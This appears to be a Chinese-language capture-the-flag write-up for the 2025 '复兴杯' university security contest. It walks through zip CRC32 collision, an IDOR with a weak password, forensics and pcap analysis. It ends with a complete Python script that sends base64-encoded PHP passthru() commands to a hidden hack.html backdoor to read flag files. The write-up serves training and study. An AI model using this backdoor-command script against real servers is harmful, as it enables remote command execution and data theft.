“复兴杯”2025第五届大学生网络安全精英赛 (排位赛wp)

时间跟CISCN & 长城杯重了,不过也无伤大雅,题都不是很难,web题有点多,对我这种不擅长web的选手很不友好。。呜呜呜

还有一点就是没有对方向进行区分(差评。。)同时也没有血的加持。。www。。

解题过程:

第1题

CRC(循环冗余校验)在通信领域常被用作数据校验手段,以其高效性著称,能迅速检测出数据中的错误。小华最近遇到了一个难题:他有一个重要的压缩文件,但不幸忘记了设置的密码。你能帮助小华获取文件的内容吗?

注:flag格式flagxxxxxxxx,没有下划线_,没有{}。(本题分数:50分)

用zip伪加密工具得到里面内容的

是通过CRC32碰撞的方式直接爆破该文件内容

Flag值:flagnisp6d8s

第2题

启动环境 ,再给出环境的url后面加上路径/blogic/,进入网站,获得会员马利的个人信息的同时,就能获得flag值。

注:答题时禁止使用目录扫描、暴力破解、流量攻击等影响靶机稳定的操作,解题所需关键信息均已在题干 / 提示中给出,违规将取消本题成绩。flag格式为flag_xxx_xxx。(本题分数:100分)

先登录进去

可以看到 /profile2.php?card_id=2012345600 其中对应着卡号: 2012345600

将他改成

得到:

用账号:马利,密码:123456,登录得到

(说实话这题出的也是真够离谱的。。设置个这么简单的密码,猜也能猜出来啊。。)

Flag:flag_nisp_bbff2e

第3题

所给的磁盘文件中具有机密数据,尝试将其中的机密数据进行恢复。

flag为机密文件的内容。

注:flag格式为flag{xxx}。(本题分数:50分)

放到随波逐流里直接得到flag

Flag值:flag{h58yfs36vm}

第4题

安全研究员小明发现了一个内部系统登录页面,他通过弱口令成功进入了后台,但系统似乎隐藏着更多秘密。据说flag就藏在系统的根目录下,你能帮他找到吗?

注:答题时禁止使用目录扫描、暴力破解、流量攻击等影响靶机稳定的操作,解题所需关键信息均已在题干 / 提示中给出,违规将取消本题成绩。flag格式为flag_xxx_xxx。(本题分数:100分)

先弱口令进去,网址里给了账号:admin,密码:admin123

一眼SQL注入,用sqlmap跑就行了,

猪播是fw,不是web手,不怎么会跑,试了一下没跑出flag,就放弃了

第5题

007拿到一个gif图片,接头暗号就在其中,你能帮他拿到接头暗号嘛

注:flag格式flag{xxx}。(本题分数:50分)

拿到gif,直接帧提取

用随波自带的gif动图分解帧,分出117张图片,flag在第61张图片里

Flag值:flag{wasj_123_!@#}

第7题

已知受害者ip为192.168.20.141 ,请你分析现有数据包,寻找攻击者下载的秘密文件并挖掘其中的flag

注:flag格式为flag{xxx}。(本题分数:150分)

在这份流量里,攻击者(192.168.20.129 )从受害者(192.168.20.141:80 )下载到的"秘密文件"实际是一张被轻微破坏过头部信息的 PNG 图片 (HTTP 200 OK,Transfer-Encoding: chunked,连接端口为攻击者侧 60696)。

把 PNG 头和 IHDR 高度字段修复后,得到如图:

图片中直接写出了 flag:

Flag值:flag{fxb_wasj_1abx5}

第9题

打开网站,找到flag。

注:答题时禁止使用目录扫描、暴力破解、流量攻击等影响靶机稳定的操作,解题所需关键信息均已在题干 / 提示中给出,违规将取消本题成绩。flag格式为flag_xxx_xxx。(本题分数:150分)

直接上脚本,利用 hack.html 隐藏后门执行系统命令来读取 flag 的 Python 自动化利用脚本

python 复制代码
import requests
import base64
import re
import sys

def get_flag(base_url):
    # 初始化配置
    session = requests.Session()
    session.verify = False
    requests.packages.urllib3.disable_warnings()
    target_url = f"{base_url.rstrip('/')}/ctf/index.php?file=hack.html"

    # 验证连接
    try:
        if session.get(target_url, timeout=10).status_code != 200:
            print("[-] 连接失败")
            return
    except Exception as e:
        print(f"[-] 连接异常: {e}")
        return

    # 执行命令函数
    def exec_cmd(cmd):
        # 用passthru(兼容性最好,避开disable_functions)
        php_code = f"passthru('{cmd}');"
        payload = base64.b64encode(php_code.encode()).decode()
        # 核心参数
        data = {"ctf": "1", "shell": payload}
        try:
            res = session.post(target_url, data=data, timeout=10)
            clean_res = re.sub(r'<[^>]+>', '', res.text).replace("hello", "").replace("ERROR!", "").strip()
            return clean_res
        except:
            return None

    # 核心flag路径
    flag_paths = [
        "../flag", "../flag.txt", "../flag.php",
        "../../flag", "flag.txt", "/var/www/html/flag",
        "/flag", "/flag.txt"
    ]

    # 遍历路径读取flag
    print("[*] 开始查找flag...")
    for path in flag_paths:
        output = exec_cmd(f"/bin/cat {path}")
        if output and "flag_" in output:
            print(f"[+] 找到flag: {[line.strip() for line in output.splitlines() if 'flag_' in line][0]}")
            return
    print("[-] 未找到flag")

if __name__ == "__main__":
    # 默认靶机URL,支持命令行传参
    target_url = sys.argv[1] if len(sys.argv) > 1 else "网址"
    get_flag(target_url)

总结:

题是真的一点也不难,都能一把嗦(实话不如新生赛的难度。。)可能是禁止使用AI进行比赛吧

希望线下的时候,能分一下各个方向的类吧(Misc、Web、Crypto、Reverse、Pwn)

相关推荐
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
DianSan_ERP5 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
呉師傅5 天前
火狐浏览器报错配置文件缺失如何解决#操作技巧#
运维·网络·windows·电脑
ZeroNews内网穿透5 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全
2501_946205525 天前
晶圆机器人双臂怎么选型?适配2-12寸晶圆的末端效应器有哪些?
服务器·网络·机器人
linux kernel5 天前
第七部分:高级IO
服务器·网络
数字护盾(和中)5 天前
BAS+ATT&CK:企业主动防御的黄金组合
服务器·网络·数据库
~远在太平洋~5 天前
Debian系统如何删除多余的kernel
linux·网络·debian